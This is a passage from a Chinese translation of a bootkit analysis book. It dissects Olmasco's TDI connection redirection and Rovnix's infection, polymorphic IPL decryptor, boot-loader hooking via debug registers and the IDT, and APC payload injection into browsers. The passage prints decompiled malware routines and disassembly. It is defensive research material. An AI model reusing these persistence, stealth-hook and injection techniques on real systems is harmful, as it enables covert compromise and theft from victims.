\(bad* 文件是一个位图,用于跟踪包含损坏文件的扇区。由于 Olmasco 劫持了硬盘末尾的未分区空间来存储隐藏的文件系统,因此有可能其他软件会向这个区域写入数据,从而损坏 Olmasco 文件的内容。恶意软件将在 *\)bad 文件中标记这些扇区,以防止将来再次使用它们。

这两个系统文件与根目录处于同一层级,无法被负载访问,仅供系统使用。有趣的是,在 NTFS 中也有同名的文件。这意味着 Olmasco 可能还会利用这些文件来欺骗用户,让他们认为恶意分区是一个合法的 NTFS 卷。

实现传输驱动程序接口以重定向网络通信

Olmasco 启动工具包的隐藏文件系统有两个模块,tdi32tdi64,它们与 传输驱动程序接口 (TDI) 协同工作。TDI 是一种内核模式的网络接口,为传输协议(如 TCP/IP)和 TDI 客户端(如套接字)提供抽象层。它位于所有传输协议栈的上层边缘。TDI 过滤器允许恶意软件在网络通信到达传输协议之前拦截它。

tdi32/tdi64 驱动程序通过未文档化的 API 技术 IoCreateDriver(L"\\Driver\\usbprt", tdi32EntryPoint) 被主根工具包驱动程序 drv32/drv64 加载,其中 tdi32EntryPoint 对应恶意 TDI 驱动程序的入口点。列表 10-5 显示了将 TDI 附加到这些设备对象的例程。

NTSTATUS ___stdcall_ AttachToNetworkDevices(PDRIVER_OBJECT DriverObject,

                                   PUNICODE_STRING a2)

{

  NTSTATUS result;

  PDEVICE_OBJECT AttachedToTcp;

  PDEVICE_OBJECT AttachedToUdp;

  PDEVICE_OBJECT AttachedToIp;

  PDEVICE_OBJECT AttachedToRawIp;

  result = AttachToDevice(DriverObject, L"\\Device\\CFPTcpFlt",

                           ➊ L"\\Device\\Tcp", 0xF8267A6F, &AttachedToTcp);

  if ( result >= 0 ) {

    result = AttachToDevice(DriverObject, L"\\Device\\CFPUdpFlt",

                           ➋ L"\\Device\\Udp", 0xF8267AF0, &AttachedToUdp);

    if ( result >= 0 ) {

      AttachToDevice(DriverObject, L"\\Device\\CFPIpFlt",

                           ➌ L"\\Device\\Ip", 0xF8267A16, &AttachedToIp);

      AttachToDevice(DriverObject, L"\\Device\\CFPRawFlt",

                           ➍ L"\\Device\\RawIp", 0xF8267A7E, &AttachedToRawIp);

      result = 0;

    }

  }

  return result;

}

列表 10-5:将 TDI 驱动程序附加到网络设备

恶意 TDI 驱动程序随后附加到以下网络设备对象列表:

\Device\Tcp 提供对 TCP 协议的访问 ➊

\Device\Udp 提供对 UDP 协议的访问 ➋

\Device\IP 提供对 IP 协议的访问在 ➌

\Device\RawIp 提供对原始 IP 协议的访问(即原始套接字)在 ➍

恶意 TDI 驱动程序的主要功能是监视TDI_CONNECT请求。如果通过某个钩住的协议尝试连接到 IP 地址 1.1.1.1,恶意软件会将其更改为地址 69.175.67.172,并将端口号设置为 0x5000。这样做的原因之一是绕过在 TDI 层之上的网络安全软件。在这种情况下,恶意组件可能尝试与 IP 地址 1.1.1.1 建立连接,而这个地址本身并不具备恶意性,不会引起安全软件的注意,并且其处理位置在 TDI 层之上。此时,恶意tdi组件将目标地址的原始值替换为 69.175.67.172,连接被重定向到另一个主机。

结论

在本章中,我们探讨了 Olmasco 引导病毒如何利用 MBR 分区表作为另一个引导病毒感染途径。Olmasco 是臭名昭著的 TDL4 引导病毒的后代,继承了它的大部分功能,并且增加了一些新的技巧;它通过修改 MBR 分区表并使用伪造的 VBR,使其比前任更加隐蔽。在接下来的章节中,我们将考虑另外两个采用复杂感染技术,针对 VBR 的引导病毒:Rovnix 和 Gapz。

第十一章:IPL 引导工具:ROVNIX 和 CARBERP**

Image

Rovnix 的分发始于 2011 年底,这是第一个已知的感染可启动硬盘的活动分区 IPL 代码的引导工具。当时的安全产品已经进化到能够监控 MBR,如第十章中所讨论的,用以防御如 TDL4 和 Olmasco 等引导工具。因此,Rovnix 的出现对安全软件构成了挑战。由于 Rovnix 进一步深入了引导过程,感染了在 VBR 代码之后执行的 IPL 代码(见第五章),它在几个月内未被察觉,直到安全行业跟进。

在本章中,我们将通过研究 Rovnix 如何感染目标系统并绕过内核模式签名策略来加载恶意内核模式驱动程序,专注于 Rovnix 引导工具框架的技术细节。我们将特别关注恶意 IPL 代码,并使用 VMware 和 IDA Pro GDB 进行调试,如第九章所讨论的。最后,我们将看到 Rovnix 在野外的实现:Carberp 银行木马,它使用了 Rovnix 的修改版本在受害者机器上保持持久性。

Rovnix 的演变

Rovnix 首次在一个私人地下论坛上广告宣传,如图 11-1 所示,作为一个具有广泛功能的新 Ring0 捆绑软件。

image

图 11-1:Rovnix 在私人地下论坛上的广告

它具有模块化架构,这使其对恶意软件开发者和分发者非常有吸引力。开发者似乎更专注于销售该框架,而不是分发和使用恶意软件。

自首次在野外出现以来,Rovnix 经历了多个迭代。本章将重点介绍撰写时的最新版本,但我们也会提及早期版本,以帮助你了解其发展过程。

Rovnix 的早期版本使用简单的 IPL 感染器,将有效负载注入到引导进程的用户模式地址空间中。所有早期版本的恶意 IPL 代码相同,因此安全行业能够迅速开发出使用简单静态签名的检测方法。

Rovnix 的后续版本通过实施多态恶意 IPL 代码,使这些检测方法变得无效。Rovnix 还增加了一个新特性:一个隐藏的文件系统,用于秘密存储其配置数据、有效负载模块等。受到类似 TDL4 引导工具的启发,Rovnix 还开始实现监控对感染硬盘的读写请求的功能,从而使得从系统中移除恶意软件变得更加困难。

后来的一个版本添加了一个隐藏的通信通道,使 Rovnix 能够与远程 C&C 服务器交换数据,并绕过个人防火墙和主机入侵防护系统(HIPS)执行的流量监控。

在这一点上,我们将把注意力转向本写作时已知的最新 Rovnix 修改版本(也称为 Win32/Rovnix.D),并详细讨论其特性。

Bootkit 架构

首先,我们将从高层次角度考虑 Rovnix 的架构。图 11-2 展示了 Rovnix 的主要组件及其相互关系。

image

图 11-2:Rovnix 架构

Rovnix 的核心是一种恶意的内核模式驱动程序,其主要目的是将有效负载模块注入系统中的进程。Rovnix 可以持有多个有效负载,以便注入到不同的进程中。一个这样的有效负载示例是银行木马,它创建伪造交易,如本章后面讨论的 Carberp 木马。Rovnix 默认在恶意内核模式驱动程序中硬编码了一个有效负载模块,但它能够通过隐藏的网络通道(在 “隐藏通信通道” 章节的 第 169 页中讨论)从远程 C&C 服务器下载额外的模块。内核模式驱动程序还实现了隐藏存储,用于存储下载的有效负载和配置信息(在 “隐藏文件系统” 章节的 第 167 页中有详细讨论)。

感染系统

让我们继续分析 Rovnix,通过剖析其感染算法,如图 11-3 所示。

image

图 11-3:Rovnix 投放器感染算法

Rovnix 首先通过访问系统注册表项 HKLM\Software\Classes\CLSID<XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX> 来检查系统是否已被感染,其中 X 是根据文件系统卷序列号生成的。如果此注册表项存在,则意味着系统已经被 Rovnix 感染,恶意软件会终止并从系统中删除自身。

如果系统尚未感染,Rovnix 会查询操作系统的版本。为了获得硬盘的低级访问权限,恶意软件需要管理员权限。在 Windows XP 中,普通用户默认被授予管理员权限,因此如果操作系统是 XP,Rovnix 可以作为普通用户继续运行,而无需检查权限。

然而,在 Windows Vista 中,微软引入了一个新的安全功能——用户帐户控制(UAC)——它会降低以管理员帐户运行的应用程序的权限。因此,如果操作系统是 Vista 或更高版本,Rovnix 需要检查管理员权限。如果没有管理员权限运行,Rovnix 会通过使用 ShellExecuteEx API 和 runas 命令重新启动自身以提升权限。启动器的清单包含一个 requireAdministrator 属性,因此 runas 尝试以提升的权限执行启动器。在启用了 UAC 的系统上,会弹出一个对话框,询问用户是否授权程序以管理员权限运行。如果用户选择“是”,恶意软件将以提升的权限启动并感染系统。如果用户选择“否”,恶意软件将不会执行。如果系统没有启用 UAC 或 UAC 被禁用,恶意软件将以当前帐户的权限运行。

一旦获得所需的权限,Rovnix 通过使用本地 API 函数 ZwOpenFileZwReadFileZwWriteFile 获取对硬盘的低级访问权限。

恶意软件首先使用 ZwOpenFile 调用 ??\PhysicalDrive0 作为文件名,返回一个与硬盘对应的句柄。然后,Rovnix 使用返回的句柄与 ZwReadFileZwWriteFile 函数来读取和写入硬盘上的数据。

为了感染系统,恶意软件扫描硬盘的 MBR 中的分区表,然后读取活动分区的 IPL,并通过 aPlib 压缩库减小其大小。接下来,Rovnix 通过将恶意加载程序代码附加到压缩后的合法 IPL 前面,创建一个新的恶意 IPL,如 图 11-4 所示。

image

图 11-4:Rovnix 感染前后的硬盘布局

在修改 IPL 后,Rovnix 将一个恶意的内核模式驱动程序写入硬盘的末尾,供恶意的 IPL 代码在系统启动时加载。该恶意软件在硬盘的末尾保留了一些空间,用于隐藏的文件系统,稍后我们将在本章中详细描述。

APLIB

aPlib 是一个小型压缩库,主要用于压缩可执行代码。它基于用于打包可执行文件的 aPack 软件中的压缩算法。该库的一个显著特点是具有良好的压缩:速度比,并且解压器占用空间小,这在启动前环境中尤其重要,因为该环境内存较小。aPlib 压缩库在恶意软件中也被广泛用于打包和混淆有效载荷。

最后,Rovnix 创建了系统注册表项,以标记系统为已感染,并通过调用 ExitWindowsEx Win32 API,并使用参数 EWX_REBOOT | EWX_FORCE 发起重启。

感染后启动过程与 IPL

一旦 Rovnix 感染了机器并强制重启,BIOS 启动代码照常继续,加载并执行启动硬盘上未修改的 MBR。MBR 找到硬盘上的活动分区,并执行合法且未修改的 VBR。VBR 随后加载并执行感染的 IPL 代码。

实现多态解密器

被感染的 IPL 以一个小的解密器开始,其目的是解密其余的恶意 IPL 代码并执行它(图 11-5)。解密器的多态性意味着每个 Rovnix 实例都带有定制的解密器代码。

image

图 11-5:感染的 IPL 布局

让我们看看解密器是如何实现的。在分析实际的多态代码之前,我们将先给出解密算法的一般描述。解密器按以下流程解密恶意 IPL 的内容:

  1. 分配内存缓冲区来存储解密后的代码。

  2. 初始化解密密钥和解密计数器——分别是加密数据的偏移量和大小。

  3. 将 IPL 代码解密到已分配的缓冲区中。

  4. 在执行解密后的代码之前初始化寄存器。

  5. 将控制权转移到解密后的代码。

为了定制解密例程,Rovnix 随机将其拆分成 基本块(一组没有分支的连续指令),每个基本块包含少量的汇编指令。然后 Rovnix 将这些基本块进行洗牌并随机重新排序,通过 jmp 指令连接它们,如图 11-6 所示。结果是每个 Rovnix 实例都有一个定制的解密代码。

image

图 11-6:多态解密器的生成

这个多态机制与一些现代恶意软件中采用的代码混淆技术相比其实相当简单,但由于每次 Rovnix 的实例中例程的字节模式都会变化,它足以避免使用静态签名的安全软件检测。

多态性并非无懈可击,其中一种最常见的应对方法是软件仿真。在仿真中,安全软件应用行为模式来检测恶意软件。

使用 VMware 和 IDA Pro 解密 Rovnix 启动加载程序

让我们来看一下使用 VMware 虚拟机和 IDA Pro 的实际解密例程实现。关于如何设置 VMware 和 IDA Pro 的所有必要信息,可以在第九章中找到。在本示范中,我们将使用一个已感染 Win32/Rovnix.D 启动木马的 VMware 镜像,你可以从 nostarch.com/rootkits 下载该文件 bootkit_files.zip

我们的目标是通过动态分析获取解密后的恶意 IPL 代码。我们将引导你完成调试过程,快速跳过 MBR 和 VBR 步骤,重点分析多态 IPL 解密程序。

观察 MBR 和 VBR 代码

返回到 “将 VMware GDB 与 IDA 结合使用” 第 126 页,并按照那里的步骤解密来自 bootkit_files.zip 的 MBR。你会在地址 0000:7c00h 处找到 MBR 代码。在图 11-7 中,地址 0000:7c00h 被表示为 MEMORY:7c00h,因为 IDA Pro 显示的是段名(在我们的例子中是 MEMORY),而不是段基址 0000h。由于 Rovnix 感染的是 IPL 代码而不是 MBR,调试器中显示的 MBR 代码是合法的,我们不需要深入研究它。

image

图 11-7:MBR 代码的开头

这个程序代码将 MBR 移动到另一个内存地址,以回收位于 0000:7c00h 的内存,用于读取和存储活动分区的 VBR。寄存器 si ➋ 被初始化为值 7C1h,对应源地址,寄存器 di ➌ 被初始化为值 61Bh,对应目标地址。寄存器 cx ➍ 被初始化为 1E5h,即要复制的字节数,rep movsb 指令 ➎ 执行字节复制。retf 指令 ➏ 将控制转移到复制后的代码。

此时,指令指针寄存器 ip 指向地址 0000:7c00h ➊。通过按 F8 执行列出的每条指令,直到到达最后一条 retf 指令 ➏。执行 retf 后,控制转移到刚刚复制到地址 0000:061Bh 的代码——即主 MBR 程序,其目的是查找 MBR 分区表中活动分区并加载其第一个扇区,即 VBR。

VBR 也保持不变,因此我们将继续下一步,直接在该程序的末尾设置断点。位于地址 0000:069Ah 的 retf 指令将控制直接转移到活动分区的 VBR 代码,因此我们将在 retf 指令处设置断点(如图 11-8 所示)。将光标移动到该地址,按 F2 切换断点。如果按 F2 后出现对话框,只需点击 OK 以使用默认值。

image

图 11-8:在 MBR 代码的末尾设置断点

设置断点后,按 F9 继续分析,直到达到断点。这将执行主 MBR 程序。当执行到达断点时,VBR 已经被读取到内存中,我们可以通过执行 retf(F8)指令来进入 VBR。

VBR 代码以 jmp 指令开始,该指令将控制转移到读取 IPL 代码到内存并执行它的例程。该例程的反汇编显示在 图 11-9 中。为了直接跳转到恶意 IPL 代码,请在 VBR 例程的最后一条指令(地址 0000:7C7Ah ➊)设置断点,然后再次按 F9 释放控制。一旦执行到达断点,调试器会在 retf 指令处中断。执行此指令(按 F8)以跳转到恶意 IPL 代码。

image

图 11-9:VBR 代码

解剖 IPL 多态解密器

恶意 IPL 代码以一系列指令开始,这些指令位于基本块中,负责在执行解密器之前初始化寄存器。之后是一个调用指令,控制转移到 IPL 解密器。

解密器第一个基本块的代码(见 清单 11-1)获取恶意 IPL 在内存中的基本地址 ➊,并将其存储在栈中 ➋。位于 ➌ 的 jmp 指令将控制转移到第二个基本块(回顾 图 11-6)。

MEMORY:D984 pop     ax

MEMORY:D985 sub     ax, 0Eh ➊

MEMORY:D988 push    cs

MEMORY:D989 push    ax ➋

MEMORY:D98A push    ds

MEMORY:D98B jmp     short loc_D9A0 ➌

清单 11-1:多态解密器的基本块 1

第二个和第三个基本块都实现了解密算法的单步操作——内存分配——因此它们一起显示在 清单 11-2 中。

; Basic Block #2

MEMORY:D9A0 push    es

MEMORY:D9A1 pusha

MEMORY:D9A2 mov     di, 13h

MEMORY:D9A5 push    40h ; '@'

MEMORY:D9A7 pop     ds

MEMORY:D9A8 jmp     short loc_D95D

--snip--

; Basic Block #3

MEMORY:D95D mov     cx, [di]

MEMORY:D95F sub     ecx, 3 ➊

MEMORY:D963 mov     [di], cx

MEMORY:D965 shl     cx, 6

MEMORY:D968 push    cs

MEMORY:D98B jmp     short loc_D98F ➋

清单 11-2:多态解密器的基本块 2 和 3

该代码分配了 3KB 的内存(请参见 第五章 关于实模式下内存分配的内容),并将内存的地址存储在 cx 寄存器中。分配的内存将用于存储解密后的恶意 IPL 代码。然后,代码从地址 0040:0013h 读取实执行模式下的总可用内存,并将值减去 3KB ➊。位于 ➋ 的 jmp 指令将控制转移到下一个基本块。

基本块 4 至 8,如 清单 11-3 所示,实现了解密密钥和解密计数器的初始化,以及解密循环。

   ; Basic Block #4

   MEMORY:D98F pop     ds

   MEMORY:D990 mov     bx, sp

   MEMORY:D992 mov     bp, 4D4h

   MEMORY:D995 jmp     short loc_D954

   --snip--

   ; Basic Block #5

   MEMORY:D954 push    ax

   MEMORY:D955 push    cx

   MEMORY:D956 add     ax, 0Eh

➊ MEMORY:D959 mov     si, ax

   MEMORY:D95B jmp     short loc_D96B

   --snip--

   ; Basic Block #6

   MEMORY:D96B add     bp, ax

   MEMORY:D96D xor     di, di

➋ MEMORY:D96F pop     es

   MEMORY:D970 jmp     short loc_D93E

   --snip--

   ; Basic Block #7

➌ MEMORY:D93E mov     dx, 0FCE8h

   MEMORY:D941 cld

➍ MEMORY:D942 mov     cx, 4C3h

   MEMORY:D945 loc_D945:

➎ MEMORY:D945 mov     ax, [si]

➏ MEMORY:D947 xor     ax, dx

   MEMORY:D949 jmp     short loc_D972

   --snip--

   ; Basic Block #8

➐ MEMORY:D972 mov     es:[di], ax

   MEMORY:D975 add     si, 2

   MEMORY:D978 add     di, 2

   MEMORY:D97B loop    loc_D945

   MEMORY:D97D pop     di

   MEMORY:D97E mov     ax, 25Eh

   MEMORY:D981 push    es

➑ MEMORY:D982 jmp     short loc_D94B

清单 11-3:多态解密器的基本块 4 至 8

在地址 0000:D959h,si 寄存器被初始化为加密数据的地址 ➊。位于 ➋ 的指令初始化 esdi 寄存器,指向存储解密数据的缓冲区地址。位于地址 0000:D93Eh ➌ 的 dx 寄存器被初始化为解密密钥 0FCE8hcx 寄存器则初始化为解密循环中要执行的 XOR 操作次数 ➍。在每次 XOR 操作中,2 字节的加密数据与解密密钥进行异或运算,因此 cx 寄存器的值等于 number_of_bytes_to_decrypt 除以 2。

解密循环中的指令从源地址 ➎ 读取 2 个字节,将其与密钥 ➏ 做异或运算,并将结果写入目标缓冲区 ➐。解密步骤完成后,jmp 指令 ➑ 会将控制权转移到下一个基本块。

基本块 9 到 11 实现了寄存器初始化,并将控制权转交给解密代码(列表 11-4)。

   ; Basic Block #9

   MEMORY:D94B push    ds

   MEMORY:D94C pop     es

   MEMORY:D94D mov     cx, 4D4h

   MEMORY:D950 add     ax, cx

   MEMORY:D952 jmp     short loc_D997

   --snip--

   ; Basic Block #10

   MEMORY:D997 mov     si, 4B2h

➊ MEMORY:D99A push    ax

   MEMORY:D99B push    cx

   MEMORY:D99C add     si, bp

   MEMORY:D99E jmp     short loc_D98D

   --snip--

   ; Basic Block #11

   MEMORY:D98D pop     bp

➋ MEMORY:D98E retf

列表 11-4:多态解密器的基本块 9 到 11

地址 ➊ 处的指令将解密后的 IPL 代码存储在栈地址中,retf ➋ 从栈中弹出该地址,并将控制权转移到该地址。

为了获取解密后的 IPL 代码,我们需要确定解密数据缓冲区的地址。为此,我们在 列表 11-3 中的指令 ➋ 后紧接着设置一个断点,地址为 0000:D970h,并释放控制,如 图 11-10 所示。

image

图 11-10:在 IDA Pro 中设置断点

接下来,我们将在地址 0000:D98Eh 处设置一个断点(列表 11-4 中的➋),这是多态解密器的最后一条指令,并让其余的解密器代码继续执行。一旦调试器在这个地址断开,我们执行最后的 retf 指令,这会直接将我们引导到地址 9EC0:0732h 处的解密代码。

此时,恶意 IPL 代码已在内存中解密,可以进行进一步分析。请注意,解密后,恶意 IPL 的第一个例程并不位于解密缓冲区的开始处(地址 9EC0:0000h),而是位于偏移量 732h 处,这是由于恶意 IPL 的布局。如果你想将缓冲区的内容从内存转储到磁盘文件以进行静态分析,你应该从地址 9EC0:0000h 开始转储,这里是缓冲区的起始位置。

通过修补 Windows 引导加载器来控制

Rovnix 的 IPL 代码的主要目的是加载一个恶意的内核模式驱动程序。恶意引导代码与操作系统引导加载器组件紧密协作,并遵循从启动过程一开始,到处理器执行模式切换,再到操作系统内核加载的执行流程。加载器在很大程度上依赖于平台调试设施和操作系统引导加载器组件的二进制表示。

一旦解密后的恶意 IPL 代码执行,它会挂钩 INT 13h 处理程序,以便监控所有从硬盘读取的数据,并在操作系统引导加载器组件中设置进一步的钩子。恶意 IPL 随后会解压,并将控制权交还给原始 IPL 代码,以继续正常的启动过程。

图 11-11 展示了 Rovnix 干扰启动过程并危及操作系统内核的步骤。我们已经覆盖了前四个步骤,因此我们将从 ➊ 处的“加载 bootmgr”步骤继续描述引导病毒的功能。

image

图 11-11:Rovnix IPL 代码的引导过程

一旦钩住了 INT 13h 处理程序,Rovnix 监视所有从硬盘读取的数据,并寻找与操作系统的bootmgr对应的某个字节模式。当 Rovnix 找到匹配模式时,它会修改bootmgr ➋,使其能够检测处理器从实模式切换到保护模式,这是引导过程中的标准步骤。此执行模式切换改变了虚拟地址到物理地址的转换,因此改变了虚拟内存的布局,这会使 Rovnix 失效。因此,为了在切换过程中保持自身传播并控制引导过程,Rovnix 通过在bootmgr中打补丁,插入jmp指令,使 Rovnix 能够在操作系统切换执行模式之前立即接管控制。

在继续之前,我们将探讨 Rovnix 如何隐藏其钩子,然后看它是如何通过模式切换保持持久性的。

滥用调试接口隐藏钩子

使 Rovnix 比其他引导工具更有趣的一件事是它的控制钩子的隐蔽性。它钩住了 INT 1h 处理程序 ➌,以便在操作系统内核初始化的特定时刻接管控制,并且它滥用调试寄存器dr0dr7来设置钩子,从而避免通过不修改被钩住的代码来进行检测。INT 1h 处理程序负责处理调试事件,例如追踪和设置硬件断点,使用dr0dr7寄存器。

八个调试寄存器,dr0dr7,在 Intel x86 和 x64 平台上提供硬件级调试支持。前四个寄存器,dr0dr3,用于指定断点的线性地址。dr7寄存器允许你选择性地指定并启用触发断点的条件;例如,你可以使用它来设置一个断点,当代码执行或在特定地址发生内存访问(读/写)时触发。dr6寄存器是一个状态寄存器,允许你确定哪个调试条件已发生——即,哪个断点被触发。dr4^(1) 和 dr5寄存器是保留的,不使用。一旦硬件断点被触发,INT 1h 将被执行,以确定发生了哪个调试条件并做出相应响应。

这是使 Rovnix 引导工具能够在不修改代码的情况下设置隐蔽钩子的功能。Rovnix 将dr0dr4寄存器设置为其预定的钩子位置,并通过在dr7寄存器中设置相应的位掩码,启用每个寄存器的硬件断点。

滥用中断描述符表实现引导过程中的持久性

除了滥用平台的调试功能外,Rovnix 的初期版本还使用了一种有趣的技术,以在处理器从实模式切换到保护模式时生存下来。在执行切换到保护模式之前,bootmgr 初始化了重要的系统结构,如全局描述符表(GDT)和中断描述符表(IDT)。后者填充了中断处理程序的描述符。

中断描述符表

IDT 是 CPU 在保护模式下使用的特殊系统结构,用于指定 CPU 中断处理程序。在实模式下,IDT(也称为中断向量表,或IVT)很简单——只是一个由处理程序的 4 字节地址组成的数组,从地址 0000:0000h 开始。换句话说,INT 0h 处理程序的地址是 0000:0000h,INT 1h 处理程序的地址是 0000:0004h,INT 2h 处理程序的地址是 0000:0008h,依此类推。在保护模式下,IDT 具有更复杂的布局:一个由 8 字节中断处理程序描述符组成的数组。可以通过sidt处理器指令获取 IDT 的基地址。有关 IDT 的更多信息,请参阅英特尔的文档:www.intel.com/content/www/us/en/processors/architectures-software-developer-manuals.html

Rovnix 将恶意 IPL 代码复制到 IDT 的第二半部分,该部分目前系统未使用。由于每个描述符占 8 字节,而表中有 256 个描述符,这为 Rovnix 提供了 1KB 的 IDT 内存,足够存储其恶意代码。IDT 在保护模式下,因此将代码存储在 IDT 中可确保 Rovnix 在模式切换后仍能保持,并且可以通过sidt指令轻松获取 IDT 地址。Rovnix 修改后 IDT 的整体布局如图 11-12 所示。

image

图 11-12:Rovnix 如何滥用 IDT 在执行模式切换中传播

加载恶意内核模式驱动程序

在挂钩 INT 1h 处理程序后,Rovnix 接着挂钩其他操作系统引导加载程序组件,如winload.exe和操作系统内核镜像(例如ntoskrnl.exe)。Rovnix 在bootmgr代码加载winload.exe时等待,然后挂钩BlImgAllocateImageBuffer例程(见图 11-11)来为可执行镜像分配缓冲区,通过在其起始地址设置硬件断点。此技术分配内存来容纳恶意的内核模式驱动程序。

恶意软件还会钩住 winload.exe 中的 OslArchTransferToKernel 例程。该例程将控制从 winload.exe 转移到内核的入口点 KiSystemStartup,进而启动内核初始化。通过钩住 OslArchTransferToKernel,Rovnix 在 KiSystemStartup 被调用之前获取控制权,并趁机注入恶意的内核模式驱动程序。

KiSystemStartup 例程接受一个参数 KeLoaderBlock,这是一个指向 LOADER_PARAMETER_BLOCK 的指针——这是一个由 winload.exe 初始化的未记录结构,包含了重要的系统信息,如启动选项和已加载的模块。该结构见列表 11-5。

typedef struct _LOADER_PARAMETER_BLOCK

{

     LIST_ENTRY LoadOrderListHead;

     LIST_ENTRY MemoryDescriptorListHead;

  ➊ LIST_ENTRY BootDriverListHead;

     ULONG KernelStack;

     ULONG Prcb;

     ULONG Process;

     ULONG Thread;

     ULONG RegistryLength;

     PVOID RegistryBase;

     PCONFIGURATION_COMPONENT_DATA ConfigurationRoot;

     CHAR * ArcBootDeviceName;

     CHAR * ArcHalDeviceName;

     CHAR * NtBootPathName;

     CHAR * NtHalPathName;

     CHAR * LoadOptions;

     PNLS_DATA_BLOCK NlsData;

     PARC_DISK_INFORMATION ArcDiskInformation;

     PVOID OemFontFile;

     _SETUP_LOADER_BLOCK * SetupLoaderBlock;

     PLOADER_PARAMETER_EXTENSION Extension;

     BYTE u[12];

     FIRMWARE_INFORMATION_LOADER_BLOCK FirmwareInformation;

} LOADER_PARAMETER_BLOCK, *PLOADER_PARAMETER_BLOCK;

列表 11-5:LOADER_PARAMETER_BLOCK 描述

Rovnix 关注的是字段 BootDriverListHead ➊,它包含了一个与启动模式驱动程序对应的特殊数据结构的列表头。这些驱动程序与内核映像一起由 winload.exe 加载。然而,初始化这些驱动程序的 DriverEntry 例程直到操作系统内核映像接管控制权后才会被调用。操作系统内核初始化代码会遍历 BootDriverListHead 中的记录,并调用相应驱动程序的 DriverEntry 例程。

一旦 OslArchTransferToKernel 钩子被触发,Rovnix 从栈中获取 KeLoaderBlock 结构的地址,并使用 BootDriverListHead 字段将一个对应于恶意驱动程序的记录插入启动驱动程序列表。此时,恶意驱动程序被加载到内存中,仿佛它是一个具有合法数字签名的内核模式驱动程序。接下来,Rovnix 将控制权转交给 KiSystemStartup 例程,后者恢复启动过程并开始内核初始化(见图 11-11 中的➎)。

在初始化的某个时刻,内核会遍历 KeLoaderBlock 中的启动驱动程序列表,并调用它们的初始化例程,包括恶意驱动程序的初始化例程(见图 11-13)。这就是恶意内核模式驱动程序的 DriverEntry 例程被执行的方式。

image

图 11-13:恶意的 Rovnix 驱动程序被插入到BootDriverList

内核模式驱动程序功能

恶意驱动程序的主要功能是将存储在驱动程序二进制文件中的有效负载注入目标进程,之前提到过,这些有效负载使用 aPlib 进行压缩,主要注入到 explorer.exe 和浏览器中。

注入有效负载模块

有效负载模块在其签名中包含了 JFA 代码,因此,为了提取它,Rovnix 会在驱动程序的节表和第一个节之间的空闲空间中查找 JFA 签名。该签名表示配置数据块的开始,示例见列表 11-6。

typedef struct _PAYLOAD_CONFIGURATION_BLOCK

{

   DWORD Signature;              // "JFA\0"

   DWORD PayloadRva;             // RVA of the payload start

   DWORD PayloadSize;            // Size of the payload

   DWORD NumberOfProcessNames;   // Number of NULL-terminated strings in ProcessNames

   char ProcessNames[0];         // Array of NULL-terminated process names to inject payload

} PAYLOAD_CONFIGURATION_BLOCK, *PPAYLOAD_CONFIGURATION_BLOCK;

列表 11-6:描述有效负载配置的 PAYLOAD_CONFIGURATION_BLOCK 结构

PayloadRvaPayloadSize 字段指定了压缩有效负载镜像在内核模式驱动中的坐标。ProcessNames 数组包含了要将有效负载注入的进程名称。数组中的条目数由 NumberOfProcessNames 指定。图 11-14 显示了一个来自真实恶意内核模式驱动的数据块示例。如你所见,有效负载将被注入到 explorer.exe 以及浏览器 iexplore.exefirefox.exechrome.exe 中。

image

图 11-14:有效负载配置块

Rovnix 首先将有效负载解压到内存缓冲区中。然后它使用根套件(rootkit)常用的传统技术来注入有效负载,具体步骤如下:

  1. 使用标准文档化的内核模式 API 注册 CreateProcessNotifyRoutineLoadImageNotifyRoutine。这样,Rovnix 就能在每次新进程创建或新镜像加载到目标进程的地址空间时获得控制。

  2. 监控系统中新进程的创建,并通过镜像名称寻找目标进程。

  3. 一旦目标进程被加载,将有效负载映射到其地址空间,并排队一个 异步过程调用(APC),将控制权转交给有效负载。

让我们更详细地分析这种技术。CreateProcessNotify 例程允许 Rovnix 安装一个特殊的处理程序,每当系统上创建新进程时触发。通过这种方式,恶意软件能够检测何时启动目标进程。然而,由于恶意的创建进程处理程序在进程创建的最初阶段被触发,即在所有必要的系统结构已初始化但目标进程的可执行文件尚未加载到其地址空间时,恶意软件此时无法注入有效负载。

第二个例程 LoadImageNotifyRoutine 允许 Rovnix 设置一个处理程序,每次加载或卸载可执行模块(.exe 文件、DLL 库等)时触发。这个处理程序监控主可执行镜像,并在镜像加载到目标进程的地址空间后通知 Rovnix,这时 Rovnix 将注入有效负载并通过创建 APC 来执行它。

隐匿自我防御机制

内核模式驱动实现了与 TDL4 启动工具相同的防御机制:它钩住了硬盘迷你端口 DRIVER_OBJECTIRP_MJ_INTERNAL_CONTROL 处理程序。这个处理程序是与硬件无关的最低级接口,可以访问硬盘上存储的数据,为恶意软件提供了一种可靠的方式来控制从硬盘读取和写入的数据。

通过这种方式,Rovnix 可以拦截所有的读/写请求,并保护关键区域免受读取或覆盖。具体来说,它保护以下内容:

  • 被感染的 IPL 代码

  • 存储的内核模式驱动

  • 隐藏的文件系统分区

Listing 11-7 展示了 IRP_MJ_INTERNAL_CONTROL 钩子例程的伪代码,该例程决定是否阻止或授权 I/O 操作,具体取决于正在读取或写入硬盘的哪个部分。

int __stdcall NewIrpMjInternalHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp)

{

  UCHAR ScsiCommand;

  NTSTATUS Status;

  unsigned __int64 Lba;

  PVOID pTransferBuffer;

➊ if ( DeviceObject != g_DiskDevObj )

    return OriginalIrpMjInternalHandler(DeviceObject, Irp);

➋ ScsiCommand = GetSrbParameters(_Irp, &Lba, &DeviceObject, &pTransferBuffer,

                                                             Irp);

  if ( ScsiCommand == 0x2A || ScsiCommand == 0x3B )

  {

    // SCSI write commands

  ➌ if ( CheckSrbParams(Lba, DeviceObject)

    {

       Status = STATUS_ACCESS_DENIED;

     ➍ Irp->IoStatus.Status = STATUS_ACCESS_DENIED;

       IofCompleteRequest(Irp, 0);

    } else

    {

       return OriginalIrpMjInternalHandler(DeviceObject, Irp);

    }

  } else if ( ScsiCommand == 0x28 || ScsiCommand == 0x3C)

  {

      // SCSI read commands

      if ( CheckSrbParams(Lba, DeviceObject)

      {

     ➎ Status = SetCompletionRoutine(DeviceObject, Irp, Lba,

                                      DeviceObject, pTransferBuffer, Irp);

      } else

      {

        return OriginalIrpMjInternalHandler(DeviceObject, Irp);

      }

  }

  if ( Status == STATUS_REQUEST_NOT_ACCEPTED )

    return OriginalIrpMjInternalHandler(DeviceObject, Irp);

  return Status;

}

Listing 11-7: 恶意 IRP_MJ_INTERNAL_CONTROL 处理程序的伪代码

